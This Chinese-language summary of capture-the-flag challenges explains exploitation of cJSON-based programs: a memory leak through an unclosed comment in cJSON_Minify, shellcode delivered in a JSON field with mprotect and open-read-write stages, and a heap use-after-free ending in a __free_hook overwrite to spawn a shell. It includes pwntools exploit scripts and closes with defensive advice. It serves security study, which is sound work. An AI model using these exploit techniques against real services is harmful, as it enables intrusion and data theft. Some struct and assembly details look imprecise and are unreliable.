cjson&json 二进制漏洞利用总结
字数 1602 2025-08-22 12:22:54

cJSON & JSON 二进制漏洞利用技术总结

1. JSON基础与cJSON库介绍

1.1 JSON基础格式

JSON(JavaScript Object Notation)是一种轻量级数据交换格式,具有以下特点:

  • 键/值对用冒号:分隔
  • 多个键/值对用逗号,分隔
  • 支持对象和数组嵌套
  • 基本数据类型:
    • 字符串(String)
    • 数字(Number)
    • 布尔值(Boolean)
    • 空值(Null)
    • 对象(Object)
    • 数组(Array)

示例:

{
  "fruits": ["apple", "banana", "cherry"]
}

1.2 cJSON库结构

cJSON是一个轻量级C语言JSON解析库,其核心结构体定义如下:

typedef struct cJSON {
    struct cJSON *next, *prev;  // 双向链表指针
    struct cJSON *child;        // 子节点指针
    int type;                   // 数据类型标识
    char *valuestring;          // 字符串值
    int valueint;               // 整数值
    double valuedouble;         // 浮点数值
    char *string;              // 键名
} cJSON;

关键字段说明

  • type字段取值及含义:
    • 0: false (布尔假值)
    • 1: true (布尔真值)
    • 2: null (空值)
    • 3: number (数值)
    • 4: string (字符串)
    • 5: array (数组)
    • 6: object (对象)

2. cJSON漏洞类型与利用技术

2.1 cJSON_Minify函数漏洞

漏洞原理

cJSON_Minify函数用于去除JSON中的空白字符和注释,但在处理未闭合注释时存在缺陷:

case '/':
    if (jsona[1] == '/') {
        while (*jsona && *jsona != '\n') jsona++; // 跳过单行注释
    } else if (jsona[1] == '*') {
        jsona += 2; // 跳过/*
        while (*jsona && !(*jsona == '*' && jsona[1] == '/')) {
            if (!*jsona) return; // 未检测未闭合注释
            jsona++; 
        }
        jsona += 2; // 跳过*/
    } else {
        *into++ = *jsona++; // 复制字符
    }
    break;

当遇到未闭合的多行注释(如/*aaaaa没有*/)时,函数会持续读取内存直到遇到*/或程序崩溃,导致信息泄露。

利用方法

  1. 构造未闭合的注释使程序持续读取内存
  2. 通过控制注释长度精确控制读取位置
  3. 分多次泄露目标数据

实例分析(2021 SCTF dataleak)

  • 通过构造未闭合注释泄露服务器数据
  • 分两次读取22字节的flag:
    • 第一次读取部分数据
    • 调整注释长度后第二次读取剩余部分
# 第一次泄露
s('aaaaaaaa/*'.ljust(0xe,'a'))
sleep(0.5)
s('aaaaaaaa/*'.ljust(0xe,'b')) 
flag1=mx.recv(0xb)

# 第二次泄露
s('aaaaa/*'.ljust(0xe,'a'))
sleep(0.5)
s('/*'.ljust(0xe,'b'))
flag2=mx.recv(0xb)
print(flag1+flag2)

2.2 cJSON_Parse函数与Shellcode注入

漏洞原理

cJSON_Parse将JSON字符串反序列化为cJSON结构体,结合cJSON_GetObjectItemCaseSensitive可提取特定字段值。当程序直接使用这些值作为可执行代码时,可能导致代码注入。

利用方法

  1. 构造包含shellcode的JSON数据
  2. 通过特定字段名(如"shellcode")传递恶意代码
  3. 利用内存权限修改执行shellcode

实例分析(2024 强网拟态 ezcode)

  • 限制:22字节shellcode且目标内存段不可写
  • 利用方案:
    1. 使用短shellcode调用mprotect修改内存权限
    2. 再次read读入完整ORW shellcode
    3. 执行ORW读取flag
# 第一阶段shellcode (22字节)
content=asm('''
    shl edi, 12      # 调整内存地址
    mov ax,10        # mprotect系统调用号
    lea edx,[rax-3]  # 设置权限为7(RWX)
    syscall          # 调用mprotect
    xor eax, eax     # read系统调用号
    xor edi, edi     # 标准输入
    mov dl, 0xff     # 读取长度
    mov esi, ecx     # 目标地址
    syscall          # 调用read
''')

# 发送JSON格式的shellcode
payload={"shellcode":content.hex()}
sl(json.dumps(payload))

# 第二阶段ORW shellcode
orw=asm('''
    mov rdi,rsi      # 文件名指针
    xor rsi,rsi      # 打开标志
    xor rdx,rdx      # 模式
    mov rax,2        # open系统调用
    syscall
    xor rdi,0xc      # 调整文件描述符
    mov rsi,rdi      # 缓冲区
    xor dl,30        # 读取长度
    mov rdi,rax      # 文件描述符
    xor rax,rax      # read系统调用
    syscall
    mov rdi,1        # 标准输出
    mov ax,1         # write系统调用
    syscall
''')

# 发送ORW payload
payload=b'flag\x00'+b'\x00'*5+orw
sl(payload)

2.3 cJSON与堆漏洞结合利用

漏洞原理

JSON解析过程中内存管理不当可能导致堆漏洞,如:

  • Use-After-Free (UAF)
  • 堆溢出
  • 双重释放等

利用方法

  1. 通过JSON操作触发堆漏洞
  2. 利用堆风水控制内存布局
  3. 结合JSON解析特性绕过限制

实例分析(2024 ciscn决赛 ezheap)

  • 漏洞:JSON解析后未正确释放内存导致UAF
  • 利用步骤:
    1. 分配并释放堆块
    2. 通过多次编辑维持悬垂指针
    3. 泄露libc地址
    4. 劫持free_hook执行system
# 触发UAF
add(0x400,b'a') #0
add(0x400,b'a') #1
delete(0)

# 维持悬垂指针
for i in range(6):
    edit(0,0x400,b'a'*0x10)
    delete(0)

# 泄露libc地址
delete(1)
add(0x60,b'') #2
edit(2,1,b'\xe0')
show(2)
libc_addr=l64()-0x1ecbe0

# 劫持free_hook
libc.address=libc_addr
system=libc.sym['system']
free_hook=libc.sym['__free_hook']
edit(0,0x8,p64(free_hook)[:6])
add(0x400,b'a;/bin/sh')
edit(4,0x8,p64(system)[:6])
delete(3)  # 触发system("/bin/sh")

3. 防御建议

  1. 输入验证

    • 严格验证JSON格式完整性
    • 检查注释是否闭合
    • 限制字段长度和内容
  2. 内存安全

    • 及时释放和置空指针
    • 使用安全的内存管理函数
    • 启用堆保护机制(如ASLR, DEP)
  3. 权限控制

    • 限制JSON解析内存区域的执行权限
    • 使用沙箱隔离高风险操作
  4. 库更新

    • 及时更新cJSON到最新版本
    • 使用经过安全审计的JSON解析库

4. 总结

cJSON库的漏洞主要来源于:

  1. 注释处理不严谨导致信息泄露
  2. 反序列化过程缺乏足够验证
  3. 内存管理不当导致堆漏洞

利用这些漏洞需要:

  • 深入理解cJSON内部结构
  • 精确控制JSON格式和内存布局
  • 结合系统特性绕过防护机制

安全开发中应特别注意JSON解析边界条件的处理,避免将用户输入直接作为代码执行。

cJSON & JSON 二进制漏洞利用技术总结 1. JSON基础与cJSON库介绍 1.1 JSON基础格式 JSON(JavaScript Object Notation)是一种轻量级数据交换格式,具有以下特点: 键/值对用冒号 : 分隔 多个键/值对用逗号 , 分隔 支持对象和数组嵌套 基本数据类型: 字符串(String) 数字(Number) 布尔值(Boolean) 空值(Null) 对象(Object) 数组(Array) 示例: 1.2 cJSON库结构 cJSON是一个轻量级C语言JSON解析库,其核心结构体定义如下: 关键字段说明 : type 字段取值及含义: 0: false (布尔假值) 1: true (布尔真值) 2: null (空值) 3: number (数值) 4: string (字符串) 5: array (数组) 6: object (对象) 2. cJSON漏洞类型与利用技术 2.1 cJSON_ Minify函数漏洞 漏洞原理 cJSON_Minify 函数用于去除JSON中的空白字符和注释,但在处理未闭合注释时存在缺陷: 当遇到未闭合的多行注释(如 /*aaaaa 没有 */ )时,函数会持续读取内存直到遇到 */ 或程序崩溃,导致信息泄露。 利用方法 构造未闭合的注释使程序持续读取内存 通过控制注释长度精确控制读取位置 分多次泄露目标数据 实例分析(2021 SCTF dataleak) 通过构造未闭合注释泄露服务器数据 分两次读取22字节的flag: 第一次读取部分数据 调整注释长度后第二次读取剩余部分 2.2 cJSON_ Parse函数与Shellcode注入 漏洞原理 cJSON_Parse 将JSON字符串反序列化为cJSON结构体,结合 cJSON_GetObjectItemCaseSensitive 可提取特定字段值。当程序直接使用这些值作为可执行代码时,可能导致代码注入。 利用方法 构造包含shellcode的JSON数据 通过特定字段名(如"shellcode")传递恶意代码 利用内存权限修改执行shellcode 实例分析(2024 强网拟态 ezcode) 限制:22字节shellcode且目标内存段不可写 利用方案: 使用短shellcode调用mprotect修改内存权限 再次read读入完整ORW shellcode 执行ORW读取flag 2.3 cJSON与堆漏洞结合利用 漏洞原理 JSON解析过程中内存管理不当可能导致堆漏洞,如: Use-After-Free (UAF) 堆溢出 双重释放等 利用方法 通过JSON操作触发堆漏洞 利用堆风水控制内存布局 结合JSON解析特性绕过限制 实例分析(2024 ciscn决赛 ezheap) 漏洞:JSON解析后未正确释放内存导致UAF 利用步骤: 分配并释放堆块 通过多次编辑维持悬垂指针 泄露libc地址 劫持free_ hook执行system 3. 防御建议 输入验证 : 严格验证JSON格式完整性 检查注释是否闭合 限制字段长度和内容 内存安全 : 及时释放和置空指针 使用安全的内存管理函数 启用堆保护机制(如ASLR, DEP) 权限控制 : 限制JSON解析内存区域的执行权限 使用沙箱隔离高风险操作 库更新 : 及时更新cJSON到最新版本 使用经过安全审计的JSON解析库 4. 总结 cJSON库的漏洞主要来源于: 注释处理不严谨导致信息泄露 反序列化过程缺乏足够验证 内存管理不当导致堆漏洞 利用这些漏洞需要: 深入理解cJSON内部结构 精确控制JSON格式和内存布局 结合系统特性绕过防护机制 安全开发中应特别注意JSON解析边界条件的处理,避免将用户输入直接作为代码执行。